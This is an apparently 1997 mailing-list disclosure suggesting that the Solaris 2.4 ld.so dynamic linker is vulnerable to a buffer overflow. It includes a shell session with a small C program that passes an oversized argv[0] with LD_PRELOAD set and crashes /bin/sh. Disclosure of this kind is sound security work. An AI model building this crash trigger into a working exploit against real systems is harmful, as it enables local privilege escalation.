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Solaris ld.so possibly vulnerable?
From: dan () DIMSUM TCH HARVARD EDU (Dan Fleisher)
Date: Fri, 18 Jul 1997 11:40:28 -0400


Hi, here is the results of a test which indicate that Solaris (2.4 at
least) ld.so might be vulnerable to this overflow:
Script started on Fri Jul 18 11:22:08 1997
bash$ id
uid=2011(dan) gid=110(chnd)
bash$ uname -a
SunOS dimsum 5.4 Generic_101945-10 sun4m sparc
bash$ cat sot.c
main(int argc, char **argv)
{
        char b[2048];
        char err[] = "bad args\n";
        char err2[] = "execl failed\n";

        if(argc != 2) {
                write(2, err, sizeof(err));
                exit(1);
        }

        memset(b, 'A', sizeof(b));

        putenv("LD_PRELOAD=foobar");

        execl(argv[1], b, 0);
        write(2, err2, sizeof(err2));
}

bash$ sot /bin/sh
Segmentation Fault (core dumped)
bash$ exit

script done on Fri Jul 18 11:22:47 1997

---
Dan Fleisher <dan () dimsum tch harvard edu>



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